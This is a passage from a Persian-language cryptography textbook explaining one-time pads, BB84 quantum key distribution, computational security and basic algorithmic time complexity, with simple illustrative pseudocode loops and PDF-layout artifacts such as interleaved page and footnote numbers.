رﻣﺰﺷﺪه را درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﺪ ،او ﻧﯿﺰ ﻫﺮ ﺑﯿﺖ از ﭘﯿﺎم رﻣﺰﺷﺪه را ﺑﺎ ﻫـﺮ ﺑﯿـﺖ از ﭘﺮﮐﻨﻨـﺪه ﺧـﻮدش XOR ،ﮐـﺮده و ﻣـﺘﻦ
واﺿﺢ اوﻟﯿﻪ را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ.
اﮔﺮﭼﻪ ﺷﮑﺴﺘﻦ ﻻﯾﻪ ﯾﮏ ﻃﺮﻓﻪ ،از ﻟﺤﺎظ ﻓﺮض ﻋﻠﻤﯽ ﻏﯿﺮ ﻣﻤﮑﻦ اﺳﺖ ،اﻣـﺎ در ﻋﻤـﻞ آﻧﻘـﺪر ﮐـﺎرﺑﺮدی و ﻋﻤﻠـﯽ ﻧﯿـﺴﺖ.
اﻣﻨﯿﺖ ﭘﺮﮐﻨﻨﺪه ﯾﮏ ﺑﺎر ﻣﺼﺮف ﻣﻨﻮط ﺑﺮ اﻣﻨﯿﺖ ﭘﺮﮐﻨﻨﺪه ﻫﺎﺳﺖ .ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﭘﺮﮐﻨﻨﺪه ﻫﺎ ﺑﻪ ﮔﯿﺮﻧـﺪه و ﻓﺮﺳـﺘﻨﺪه ارﺳـﺎل
ﻣﯽ ﺷﻮﻧﺪ ،ﻓﺮض ﺑﺮ اﻣﻦ ﺑﻮدن ﮐﺎﻧﺎل اﻧﺘﻘﺎل ﻣﯽ ﺑﺎﺷﺪ.
ﻟﺬا ﺑﺮای اﻧﺘﻘﺎل اﯾﻤﻦ ﭘﺮﮐﻨﻨﺪه ﻫﺎ ﻧﯿﺎز ﺑﻪ ﯾﮏ ﻣﺮاودات ﭼﻬﺮه-ﺑﻪ-ﭼﻬﺮه ) (face-to-faceاﺳﺖ .اﻣﺎ ﺑﺮای ﺳﻬﻮﻟﺖ اﻧﺘﻘـﺎلِ
ﭘﺮﮐﻨﻨﺪه ،ﻣﻤﮑﻦ اﺳﺖ از رﻣﺰ دﯾﮕﺮی اﺳﺘﻔﺎده ﺷﻮد .ﺑﻬﺎی اﯾﻦ ﺳﻬﻮﻟﺖ ﻧﯿﺰ در ﻗﺪرت رﻣﺰ اﺳﺖ ،ﺑﻪ اﯾﻦ ﺗﺮﺗﯿـﺐ ﮐـﻪ ﮐـﻞ
زﻧﺠﯿﺮه ی ﺳﯿﺴﺘﻢ اﮐﻨﻮن ﺗﻨﻬﺎ ﻗﺪرﺗﯽ ﺑﺮاﺑﺮ ﺑﺎ ﺿﻌﯿﻒ ﺗﺮﯾﻦ ﺣﻠﻘﻪ زﻧﺠﯿﺮ آن دارد ،ﮐﻪ اﯾﻦ ﺣﻠﻘﻪ ،رﻣﺰ ﻣﻮرد اﺳﺘﻔﺎده ﺑﺮای
86
Encrypted Web Access
87
Plaintext
147
اﻧﺘﻘﺎل ﭘﺮﮐﻨﻨﺪه ﻫﺎﺳﺖ .ﭼﻮن ﭘﺮﮐﻨﻨﺪه ،ﺣﺎوی داده ﻫﺎی ﺗﺼﺎدﻓﯽ و ﻃﻮل آن ﺑﺮاﺑﺮ ﺑﺎ ﻣﺘﻦ واﺿﺢ اﺳﺖ ،و ﻫﻤﭽﻨﯿﻦ اﻣﻨﯿـﺖ
ﮐﻞ زﻧﺠﯿﺮه ﺳﯿﺴﺘﻢ ﺑﺴﺘﻪ ﺑﻪ روش ﻣﻮرد اﺳﺘﻔﺎده ﺟﻬﺖ اﻧﺘﻘﺎل ﭘﺮﮐﻨﻨﺪه اﺳﺖ ،ﻟﺬا در روﯾـﺎروﯾﯽ ﺑـﺎ ﻣـﺴﺎﺋﻞ واﻗﻌـﯽ ،اﯾـﻦ
ﻣﺴﺌﻠﻪ ﺑﻬﺘﺮ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ ﮐﻪ ﭘﯿﺎم واﺿﺢ را ﺑﺎ ﻫﻤﺎن رﻣﺰی ،رﻣﺰﻧﮕﺎری و ارﺳﺎل ﮐﻨﯿﻢ ﮐﻪ ﺑﺮای اﻧﺘﻘـﺎل ﭘﺮﮐﻨﻨـﺪه ﻣـﻮرد
اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﺮﻓﺖ.
ﻇﻬﻮر ﻣﺤﺎﺳﺒﺎت ﮐﻮاﻧﺘﻮﻣﯽ )ﻣﻘﺪاری( روﯾﺪادﻫﺎی ﺟﺎﻟﺒﯽ را ﺑﺮای دﻧﯿﺎی رﻣﺰﺷﻨﺎﺳﯽ ﺑـﻪ ارﻣﻐـﺎن ﻣـﯽ آورد .ﯾﮑـﯽ از آﻧﻬـﺎ،
ﭘﯿﺎده ﺳﺎزی ﻋﻤﻠﯽ و واﻗﻌﯽ از ﻻﯾﻪ ﯾﮏ ﻃﺮﻓﻪ اﺳﺖ ﮐﻪ ﺑـﻪ واﺳـﻄﻪ ﺗﻮزﯾـﻊ ﮐﻠﯿـﺪ ﻣﻘـﺪاری اﻣﮑـﺎن ﭘـﺬﯾﺮ ﺷـﺪ .راز ﺣـﺼﺎر
ﻣﻘﺪاری 88ﻣﯽ ﺗﻮاﻧﺪ روش اﻣﻦ و ﻗﺎﺑﻞ اﻃﻤﯿﻨﺎﻧﯽ را ﺑﺮای ﺗﻮزﯾﻊ رﺷﺘﻪ ای از ﺑﯿﺖ ﻫﺎ )ﮐﻪ ﻣﯽ ﺗﻮاﻧﻨﺪ ﺑﻪ ﻋﻨﻮان ﮐﻠﯿﺪ اﺳﺘﻔﺎده
ﺷﻮﻧﺪ( اراﺋﻪ دﻫﺪ .اﯾﻦ ﻋﻤﻞ ﺑﺎ اﺳﺘﻔﺎده از ﻧﻮاﺣﯽِ ﻣﻘﺪاریِ ﻏﯿﺮ-ﻗﺎﺋﻢ 89در ﻓﻮﺗﻮن ﻫﺎ اﻧﺠﺎم ﻣﯽ ﺷﻮد.
ﺑﺪون ﭘﺮداﺧﺘﻦ ﺑﻪ ﺟﺰﺋﯿﺎت ﺑﯿﺸﺘﺮ ذﮐﺮ اﯾﻦ ﻧﮑﺘﻪ ﻻزم ﻣﯽ رود ﮐﻪ ﻗﻄﺒﯿﺖ ﯾﮏ ﻓﻮﺗﻮن ،ﺟﻬﺖ ﻧﻮﺳﺎن ﻣﯿﺪان اﻟﮑﺘﺮﯾﮑﯽ آن
اﺳﺖ ﮐﻪ در اﯾﻦ ﻣﻮرد ﻣﯽ ﺗﻮاﻧﺪ ﯾﮑﯽ از ﺟﻬﺎت اﻓﻘﯽ ،ﻋﻤﻮدی ،ﯾﺎ ﯾﮑﯽ از دو ﻗﻄﺮ را اﺧﺘﯿﺎر ﮐﻨﺪ .ﻋﺒﺎرت ﻏﯿﺮ-ﻗﺎﺋﻢ در ﺑﯿﺎن
ﺳﺎده ﯾﻌﻨﯽ ﻧﻮاﺣﯽ ای ﮐﻪ ﺑﻮاﺳﻄﻪ ﯾﮏ زاوﯾﻪ ﻏﯿﺮ 90درﺟﻪ از ﻫﻢ ﺟﺪا ﻣﯽ ﺷﻮﻧﺪ .ﺗﻌﯿﯿﻦ ﻗﻄﻌﯽِ ﻗﻄﺒﯿﺖ ﯾﮏ ﻓﻮﺗﻮن واﺣـﺪ
در ﺑﯿﻦ اﯾﻦ ﭼﻬﺎر ﻗﻄﺐ ﻏﯿﯿﺮ ﻣﻤﮑﻦ اﺳﺖ .ﻣﺒﻨﺎی راﺳﺖ ﺧﻂ ﺑﻮدن ﻗﻄﺐ ﻫﺎی ﻋﻤﻮدی و اﻓﻘﯽ ،ﺑﺎ ﻣﺒﻨﺎی ﻣـﻮرب ﺑـﻮدن دو
ﻗﻄﺐ ﻗﻄﺮی ﻧﺎﺳﺎزﮔﺎر اﺳﺖ .ﻟﺬا اﯾﻦ دو ﻣﺠﻤﻮﻋﻪ از ﻗﻄﺒﻬﺎ را ﻧﻤﯽ ﺗﻮاﻧﺪ ﺑﺎ ﻫﻢ اﻧـﺪازه ﮔﯿـﺮی ﮐـﺮد )ﭘﯿـﺮو اﺻـﻞ ﻧـﺎﻣﻌﻠﻮم
ﺑﻮدن ﻫﺎﯾﺰﻧﺒﺮگ( .ﻓﯿﻠﺘﺮﻫﺎ را ﻣﯽ ﺗﻮان ﺟﻬﺖ اﻧﺪازه ﮔﯿﺮی ﻗﻄﺐ ﻫﺎ ﺑﻪ ﮐﺎر ﺑﺮد -ﯾﮑﯽ ﺑﺮای ﻣﺒﻨﺎی راﺳﺖ ﺑﻮدن و دﯾﮕﺮی
ﺑﺮای ﻣﺒﻨﺎی ﻣﻮرب ﺑﻮدن .ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ﻓﻮﺗﻮن از ﻓﯿﻠﺘﺮ ﺻﺤﯿﺢ ﻣﯽ ﮔﺬرد ،ﻗﻄﺒﯿﺘﺶ ﺗﻐﯿﯿﺮ ﻧﻤﯽ ﮐﻨﺪ .اﻣﺎ ﻫﻨﮕﺎﻣﯽ ﮐـﻪ از
ﻓﯿﻠﺘﺮ ﻧﺎﺻﺤﯿﺢ ﻣﯽ ﮔﺬرد ،ﻗﻄﺒﯿﺖ آن ﺑﻪ ﺻﻮرت ﺗﺼﺎدﻓﯽ ﺗﻐﯿﯿﺮ ﻣﯽ ﮐﻨﺪ .ﯾﻌﻨﯽ ﻫـﺮ ﮔﻮﻧـﻪ ﺗـﻼش اﺳـﺘﺮاﻗﯽ ﺟﻬـﺖ اﻧـﺪازه
ﮔﯿﺮی ﻗﻄﺒﯿﺖ ﯾﮏ ﻓﻮﺗﻮن ﺑﻪ اﺣﺘﻤﺎل زﯾﺎد ﺳﺒﺐ ﺑﺮوز ﻧﺘﺎﯾﺠﯽ در داده ﻫﺎ )دﺳﺘﮑﺎری داده ﻫﺎ( ﻣﯽ ﺷﻮد و ﺑﻪ اﯾـﻦ ﺻـﻮرت
ﻧﺎ اﻣﻦ ﺑﻮدن ﮐﺎﻧﺎل واﺿﺢ ﻣﯽ ﮔﺮدد.
ﺟﻨﺒﻪ ﻫﺎی ﻧﺎﺷﻨﺎﺧﺘﻪ ﻣﮑﺎﻧﯿﮏ ﮐﻮاﻧﺘﻮم در اوﻟﯿﻦ و اﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ ﻃﺮح ﺗﻮزﯾﻊ ﮐﻠﯿـﺪ ﻣﻘـﺪاری ﯾﻌﻨـﯽ ،BB84ﺗﻮﺳـﻂ
ﭼﺎرﻟﺰ ﺑﻨﺖ ) (Charles Bennettو ﮔﯿﻠﺰ ﺑﺮاﺳﺎرد )(Gilles Brassardﺑـﻪ ﮐـﺎر ﮔﺮﻓﺘـﻪ ﺷـﺪه اﺳـﺖ .اﺑﺘـﺪا ﻓﺮﺳـﺘﻨﺪه و
ﮔﯿﺮﻧﺪه درﺑﺎره ﻧﻤﺎﯾﺶ ﺑﯿﺖ ﻫﺎ در راﺳﺘﺎی ﭼﻬﺎر ﻗﻄﺐ ﺗﻮاﻓﻖ ﻣﯽ ﮐﻨﻨﺪ ،ﺑﻄﻮرﯾﮑﻪ ﻫـﺮ ﻣﺒﻨـﺎ ﻫـﻢ دارای ﺻـﻔﺮ و ﻫـﻢ دارای
ﯾﮏ ﺑﺎﺷﺪ .ﺑﻪ اﯾﻦ ﺻﻮرت ﻓﻮﺗﻮن ﻫﺎی ﻗﻄﺒﺶ ﯾﺎﻓﺘﻪ در راﺳﺘﺎی ﻋﻤﻮد و ﮔﺮوﻫﯽ از ﻓﻮﺗﻮن ﻫـﺎی ﻗﻄـﺒﺶ ﯾﺎﻓﺘـﻪ ی ﻣـﻮرب
)زاوﯾﻪ ﻣﺜﺒﺖ 45درﺟﻪ( ﻣﯽ ﺗﻮاﻧﻨﺪ ﻋﺪد ﯾﮏ را ﻧﻤﺎﯾﺶ دﻫﻨﺪ .ﻫﻤﭽﻨـﯿﻦ ،ﻓﻮﺗـﻮن ﻫـﺎی ﻗﻄـﺒﺶ ﯾﺎﻓﺘـﻪ در راﺳـﺘﺎی اﻓـﻖ و
ﻣﺠﻤﻮﻋﻪ دﯾﮕﺮ از ﻓﻮﺗﻮن ﻫﺎی ﻗﻄﺒﺶ ﯾﺎﻓﺘﻪ ی ﻣﻮرب )زاوﯾﻪ ﻣﻨﻔﯽ 45درﺟﻪ( ﻣﯽ ﺗﻮاﻧﻨﺪ ﻋﺪد ﺻﻔﺮ را ﻧﻤـﺎﯾﺶ دﻫﻨـﺪ .ﺑـﻪ
اﯾﻦ ﺗﺮﺗﯿﺐ ،ﻫﻨﮕﺎم اﻧﺪازه ﮔﯿﺮی ﻗﻄﺒﯿﺖ راﺳﺖ ﺧﻄﯽ و اﻧﺪازه ﮔﯿﺮی ﻗﻄﺒﯿﺖ ﻣﻮرب ،ﯾـﮏ ﻫـﺎ و ﺻـﻔﺮﻫﺎ وﺟـﻮد ﺧﻮاﻫﻨـﺪ
داﺷﺖ.
ﺳﭙﺲ ﻓﺮﺳﺘﻨﺪه ﯾﮏ ﺟﺮﯾﺎن از ﻓﻮﺗﻮن ﻫﺎی ﺗﺼﺎدﻓﯽ را )ﮐﻪ ﻫﺮ ﯾـﮏ از ﯾـﮏ ﻣﺒﻨـﺎی اﻧﺘﺨـﺎب ﺷـﺪه ﺗـﺼﺎدﻓﯽ )راﺳـﺖ ﯾـﺎ
ﻣﻮرب( ﻣﯽ آﯾﻨﺪ( ارﺳﺎل ﻣﯽ ﮐﻨﺪ .اﯾﻦ ﻓﻮﺗﻮن ﻫﺎ ﺛﺒﺖ ﻣﯽ ﺷﻮﻧﺪ .ﻫﻨﮕﺎم درﯾﺎﻓﺖ ﯾﮏ ﻓﻮﺗﻮن در ﻃﺮف ﮔﯿﺮﻧﺪه ،او ﻧﯿﺰ ﺑـﻪ
ﺻﻮرت ﺗﺼﺎدﻓﯽ اﻧﺘﺨﺎب ﻣﯽ ﮐﻨﺪ ﮐﻪ ﻓﻮﺗﻮن را در ﻣﺒﻨﺎی راﺳﺖ اﻧﺪازه ﮔﯿﺮی ﮐﻨﺪ ﯾﺎ در ﻣﺒﻨﺎی ﻣﻮرب .ﺳﭙﺲ ﻧﺘـﺎﯾﺞ ﺛﺒـﺖ
ﻣﯽ ﺷﻮﻧﺪ .اﮐﻨﻮن دو ﻃﺮف آﺷﮑﺎرا ﻣﺒﻨﺎی ﻣﻮرد اﺳﺘﻔﺎده در ﻃﺮف ﻣﻘﺎﺑﻞ را ﻣﻘﺎﯾﺴﻪ ﻣـﯽ ﮐﻨﻨـﺪ و ﺗﻨﻬـﺎ داده ﻫـﺎﯾﯽ را ﻧﮕـﻪ
داری ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ ﻓﻮﺗﻮن ﻫﺎی ﻣﺘﻨﺎﻇﺮ آﻧﻬﺎ در ﻫﺮ دو ﻃﺮف ﺑﺎ ﯾﮏ ﻣﺒﻨﺎ اﻧـﺪازه ﮔﯿـﺮی ﺷـﺪه اﺳـﺖ .اﯾـﻦ ﻓﺮآﯾﻨـﺪ ،ﮐﻠﯿـﺪ
88
Quantum Entanglement
89
Non-Orthogonal
148
ﻣﺮﺑﻮط ﺑﻪ ﻃﺮح ﻻﯾﻪ ﯾﮏ ﻃﺮﻓﻪ را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ ،اﻣﺎ ﺑﺎﯾﺪ ﺗﻮﺟﻪ داﺷﺖ ﮐﻪ ﻓﺮآﯾﻨﺪ ،ﻣﻘﺎدﯾﺮ ﺑﯿﺘﯽِ ﻓﻮﺗـﻮن ﻫـﺎ را ﻓـﺎش ﻧﻤـﯽ
ﮐﻨﺪ ،ﭼﻮن ﯾﮏ ﻫﺎ و ﺻﻔﺮﻫﺎ در ﻫﺮ دو ﻣﺒﻨﺎ وﺟﻮد دارﻧﺪ.
ﭼﻮن ﻫﺮﮔﻮﻧﻪ ﺗﻼش اﺳﺘﺮاﻗﯽ ﻧﻬﺎﯾﺘﺎ ﺗﻐﯿﯿﺮ ﻗﻄﺒﯿﺖ ﺑﻌﻀﯽ از اﯾﻦ ﻓﻮﺗﻮن ﻫﺎ را ﻣﺘﻮﻗﻒ ﻣﯽ ﮐﻨﺪ و ﻣﻮﺟﺐ دﺳﺘﮑﺎری داده ﻫﺎ
ﻣﯽ ﺷﻮد ،ﻟﺬا ﺗﻼﺷﻬﺎی اﺳﺘﺮاﻗﯽ را ﻣﯽ ﺗﻮان ﺑﺎ ﺳﺮﻋﺖ ﺧﻄﺎی ﺑﻌﻀﯽ از زﯾﺮ ﻣﺠﻤﻮﻋﻪ ﻫـﺎی ﺗـﺼﺎدﻓﯽ ﮐﻠﯿـﺪ ﺗـﺸﺨﯿﺺ داد.
اﮔﺮ ﺧﻄﺎﻫﺎی زﯾﺎدی وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ ،ﻣﯽ ﺗﻮان ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ ﮐﻪ اﺣﺘﻤﺎﻻ ﻓﺮدی در ﺣﺎل اﺳﺘﺮاق ﺑﻮده اﺳﺖ ،ﻟﺬا ﮐﻠﯿـﺪ را
ﺑﺎﯾﺪ دور رﯾﺨﺖ و اﮔﺮ ﭼﻨﯿﻦ ﻧﺒﺎﺷﺪ ،ﻣﯽ ﺗﻮان ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ ﮐﻪ اﻧﺘﻘﺎل ﮐﻠﯿﺪ در ﺣﺎﻟـﺖ اﯾﻤـﻦ و ﻣﺤﺮﻣﺎﻧـﻪ ﺻـﻮرت ﮔﺮﻓـﺖ
اﺳﺖ.
.4,1,4اﻣﻨﯿﺖ ﻣﺤﺎﺳﺒﺎﺗﯽ
اﮔﺮ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺑﺮای ﺷﮑﺴﺘﻦ ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﻧﯿﺎز ﺑﻪ زﻣﺎن و ﻣﻨﺎﺑﻊ ﻧـﺎﻣﻌﻘﻮﻟﯽ داﺷـﺘﻪ ﺑﺎﺷـﺪ ،آﻧﮕـﺎه
آن ﺳﯿﺴﺘﻢ رﻣﺰی را اﺻﻄﻼﺣﺎ "اﯾﻤﻦ ﻣﺤﺎﺳﺒﻪ ای "90ﻣﯽ داﻧﯿﻢ )ﯾﻌﻨﯽ از ﻟﺤﺎظ ﻣﺤﺎﺳـﺒﺎﺗﯽ اﯾﻤـﻦ ﺑﺎﺷـﺪ( ،ﯾﻌﻨـﯽ از ﻟﺤـﺎظ
ﺗﺌﻮری ﻧﻔﻮذﮔﺮ ﺷﺎﯾﺪ ﻗﺎدر ﺑﻪ ﺷﮑﺴﺘﻦ رﻣﺰﻧﮕﺎری ﺑﺎﺷﺪ ،اﻣﺎ در ﻋﻤﻞ ،ﺑﻪ ﻋﻠﺖ ﺻﺮف زﻣﺎن و ﻣﻨﺎﺑﻊ زﯾﺎد ﭼﻨﯿﻦ ﮐـﺎری ﻏﯿـﺮ
ﻣﻤﮑﻦ ﯾﺎ ﻏﯿﺮ ﻋﺎﻗﻼﻧﻪ ﺑﻪ ﻧﻈﺮ رﺳﺪ ،ﺑﻄﻮرﯾﮑﻪ ﺑﺪﺳﺖ آوردن اﻃﻼﻋـﺎت رﻣﺰﺷـﺪه ی ﻣـﺬﮐﻮر ارزش زﻣـﺎن و ﻣﻨـﺎﺑﻊ ﺻـﺮف
ﺷﺪه را ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ .ﻣﻌﻤﻮﻻ زﻣﺎن ﻣﻮرد ﻧﯿﺎز ﺑﺮای ﺷﮑﺴﺘﻦ ﯾـﮏ ﺳﯿـﺴﺘﻢ رﻣـﺰیِ اﯾﻤـﻦ ﻣﺤﺎﺳـﺒﻪ ای ،ﺣﺘـﯽ ﺑـﺎ در ﻧﻈـﺮ
ﮔﺮﻓﺘﻦ ﺻﻔﯽ ﻋﻈﯿﻢ از ﻣﻨﺎﺑﻊ ﻣﺤﺎﺳﺒﺎﺗﯽ )ﭘﺮدازش ﻣـﻮازی( ،در ﻣﻘـﺎﯾﺲِ ﻫﺰارﺳـﺎل اﻧـﺪازه ﮔﯿـﺮی ﻣـﯽ ﺷـﻮد .ﺑـﺴﯿﺎری از
ﺳﯿﺴﺘﻢ ﻫﺎی رﻣﺰی ﻣﺪرن در اﯾﻦ دﺳﺘﻪ ﺟﺎی ﻣﯽ ﮔﯿﺮﻧﺪ.
ذﮐﺮ اﯾﻦ ﻧﮑﺘﻪ ﻣﻬﻢ اﺳﺖ ﮐﻪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﻫﺎ ﺟﻬﺖ ﺷﮑﺴﺘﻦ ﺳﯿﺴﺘﻢ ﻫـﺎی رﻣـﺰی داﺋﻤـﺎ در ﺣـﺎل رﺷـﺪ،
ﺗﻮﺳﻌﻪ و ﻧﻤﻮ ﻫﺴﺘﻨﺪ .در ﺷﺮاﯾﻂ آرﻣﺎﻧﯽ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﯾﺎد ﺷﺪ ،ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﻫﻨﮕـﺎﻣﯽ اﯾﻤـﻦ ﻣﺤﺎﺳـﺒﻪ ای در ﻧﻈـﺮ
ﮔﺮﻓﺘﻪ ﻣﯽ ﺷﻮد ﮐﻪ ﺑﻬﺘﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺟﻬﺖ ﺷﮑﺴﺘﻦ آن ﻧﯿﺎز ﺑﻪ زﻣﺎن و ﻣﻨﺎﺑﻊ ﻣﺤﺎﺳﺒﺎﺗﯽ ﻧﺎﻣﻌﻘﻮل داﺷﺘﻪ ﺑﺎﺷﺪ .اﻣـﺎ راﻫـﯽ
ﺟﻬﺖ اﺛﺒﺎت ﺑﻬﺘﺮﯾﻦ ﺑﻮدن و ﺑﻬﺘﺮﯾﻦ ﻣﺎﻧﺪن ﯾﮏ اﻟﮕﻮرﯾﺘﻢِ ﺷﮑﺴﺖ رﻣﺰ وﺟﻮد ﻧﺪارد ،ﻟﺬا در ﺗﻌﺮﯾـﻒ ﺑـﺎﻻ ،ﺷـﺎﺧﺘﻪ ﺷـﺪه
ﺗﺮﯾﻦ اﻟﮕﻮرﯾﺘﻢِ ﻓﻌﻠﯽ ﺟﻬﺖ اﻧﺪازه ﮔﯿﺮی اﻣﻨﯿﺖ ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﺑﻪ ﮐﺎر ﻣﯽ رود.
زﻣﺎن اﺟﺮای اﻟﮕﻮرﯾﺘﻤﯽ اﻧﺪﮐﯽ ﺑﺎ زﻣﺎن اﺟﺮای ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﺘﻔﺎوت اﺳﺖ .ﭼﻮن اﻟﮕﻮرﯾﺘﻢ ﺻﺮﻓﺎ ﯾﮏ اﯾﺪه و ﻧﻈﺮﯾـﻪ اﺳـﺖ،
ﻟﺬا ﻣﺤﺪودﯾﺘﯽ در ﺳﺮﻋﺖ ﭘﺮدازش ﺑﺮای ارزﯾﺎﺑﯽ اﻟﮕﻮرﯾﺘﻢ وﺟﻮد ﻧﺪارد .ﯾﻌﻨﯽ ﺑﯿﺎن ﮐـﺮدن زﻣـﺎن اﺟـﺮای اﻟﮕـﻮرﯾﺘﻢ در
ﻗﺎﻟﺐ دﻗﯿﻘﻪ ﯾﺎ ﺛﺎﻧﯿﻪ ﺑﯽ ﻣﻌﻨﯽ اﺳﺖ.
ﺻﺮﻓﻨﻈﺮ از ﻓﺎﮐﺘﻮرﻫﺎﯾﯽ ﺑﻤﺎﻧﻨﺪ ﺳﺮﻋﺖ و ﻣﻌﻤﺎری ﭘﺮدازﻧﺪه ،ﻣﻬﻢ ﺗـﺮﯾﻦ ﻋﺎﻣـﻞ ﻧﺎﺷـﻨﺎﺧﺘﻪ ﺑـﺮای ﯾـﮏ اﻟﮕـﻮرﯾﺘﻢ ،اﻧـﺪازه
ورودی ) (Input Sizeاﺳﺖ .ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﮐﻪ 1000ﻋﻨـﺼﺮ را ﻣﺮﺗـﺐ ﻣـﯽ ﮐﻨـﺪ ،ﻣﻄﻤﺌﻨـﺎ زﻣـﺎن ﺑﯿـﺸﺘﺮی ﻧـﺴﺒﺖ ﺑـﻪ
اﻟﮕﻮرﯾﺘﻤﯽ ﻣﯽ ﮔﯿﺮد ﮐﻪ ﻫﻤﺎن ﻣﺮﺗﺐ ﺳﺎزی را روی 10ﻋﻨﺼﺮ اﻧﺠﺎم ﻣﯽ دﻫﺪ .ﻣﻌﻤﻮﻻ اﻧﺪازه ورودی ﺑـﺎ nﻣـﺸﺨﺺ ﻣـﯽ
ﺷﻮد و ﻫﺮ ﮔﺎم رﯾﺰ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺷﻤﺎره اﻧﮕﺎﺷﺘﻪ ﻣﯽ ﺷﻮد .زﻣﺎن اﺟﺮای ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﺳـﺎده )ﻣﺎﻧﻨـﺪ ﻣـﻮرد زﯾـﺮ( را ﻣـﯽ
ﺗﻮان در ﻗﺎﻟﺐ ﺟﻤﻼﺗﯽ از nﺑﯿﺎن ﮐﺮد.
)For (i = 1 to n
{
;Do something
;Do another thing
}
90
Computationally-Secure
149
;Do one last thing
اﯾﻦ اﻟﮕﻮرﯾﺘﻢ nﺑﺎر ﻣﯽ ﭼﺮﺧﺪ ) (loopﮐﻪ در ﻫﺮ ﺑﺎر ﭼﺮﺧﻪ ،دو ﻋﻤﻞ اﻧﺠﺎم ﻣﯽ دﻫـﺪ و ﺳـﺮاﻧﺠﺎم در آﺧـﺮﯾﻦ ﺑـﺎر ،ﻋﻤـﻞ
آﺧﺮ را اﻧﺠﺎم ﻣﯽ دﻫﺪ .ﻟﺬا ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ 91ﺑﺮای اﯾﻦ اﻟﮕﻮرﯾﺘﻢ ﺑﺎﯾﺴﺘﯽ 2n+1ﺑﺎﺷﺪ .ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﭘﯿﭽﯿﺪه ﺗﺮ ﺑﺎ ﯾـﮏ
ﭼﺮﺧﻪ ﺗﻮدرﺗﻮی اﺿﺎﻓﯽ )ﻣﺎﻧﻨﺪ ﻣﻮرد زﯾﺮ( ،ﯾﮏ ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ ﺑﺮاﺑـﺮ ﺑـﺎ n2 + 2n + 1ﺧﻮاﻫـﺪ داﺷـﺖ ،ﭼﻮﻧﮑـﻪ ﻋﻤـﻞ
ﺟﺪﯾﺪ n2 ،ﺑﺎر اﺟﺮا ﻣﯽ ﺷﻮد.
)For(x = 1 to n
{
)For(y = 1 to n
{
;Do the new action
}
}
)For(i = 1 to n
{
;Do something
;Do another thing
}
;Do one last thing
اﻣﺎ اﯾﻦ ﺳﻄﺢ از ﺟﺰﺋﯿﺎت ﺑﺮای ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ ﻧﯿﺰ ﻫﻨﻮز ﺑﺴﯿﺎر ﻓﺎﺻـﻠﻪ دار اﺳـﺖ .ﺑـﺮای ﻣﺜـﺎل ،ﺑـﻪ ﻫﻤـﺎن ﻣﯿـﺰان ﮐـﻪ n
ﺑﺰرﮔﺘﺮ ﻣﯽ ﮔﺮدد ،ﺗﻔﺎوت ﻧﺴﺒﯽ ﺑﯿﻦ 2n + 5و 2n + 365ﮐﻤﺘـﺮ ﻣـﯽ ﮔـﺮدد .در ﺻـﻮرﺗﯽ ﮐـﻪ ﺑـﻪ ﻫﻤـﺎن ﻣﯿـﺰان ﮐـﻪ n
ﺑﺰرﮔﺘﺮ ﻣﯽ ﺷﻮد ،ﺗﻔﺎوت ﻧﺴﺒﯽ ﺑﯿﻦ 2n2 + 5و 2n + 5ﻧﯿﺰ ﺑﺰرﮔﺘﺮ ﻣﯽ ﺷﻮد .اﯾﻦ ﮔﺮاﯾﺶ ﮐﻠـﯽ ﻣﻬـﻢ ﺗـﺮﯾﻦ ﻣـﺴﺌﻠﻪ ای
اﺳﺖ ﮐﻪ در راﺑﻄﻪ ﺑﺎ زﻣﺎن اﺟﺮای ﯾﮏ اﻟﮕﻮرﯾﺘﻢ ﻣﻄﺮح اﺳﺖ.
دو اﻟﮕﻮرﯾﺘﻢ را در ﻧﻈﺮ ﺑﮕﯿﺮﯾﺪ :ﯾﮑﯽ ﺑﺎ ﯾﮏ ﭘﯿﭽﯿﺪﮔﯽ زﻣﺎﻧﯽ 2n + 365و دﯾﮕﺮی .2n2 + 5اﻟﮕـﻮرﯾﺘﻢ دوم )(2n2 + 5
ﺑﻪ ازای ﻣﻘﺎدﯾﺮ ﮐﻮﭼﮏ ،nاز ﮐﺎرآﯾﯽ اﻟﮕﻮرﯾﺘﻢ اول ) (2n + 365ﺑﻬﺘﺮ ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ .اﻣﺎ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ،n = 30آﻧﮕﺎه ﻫـﺮ
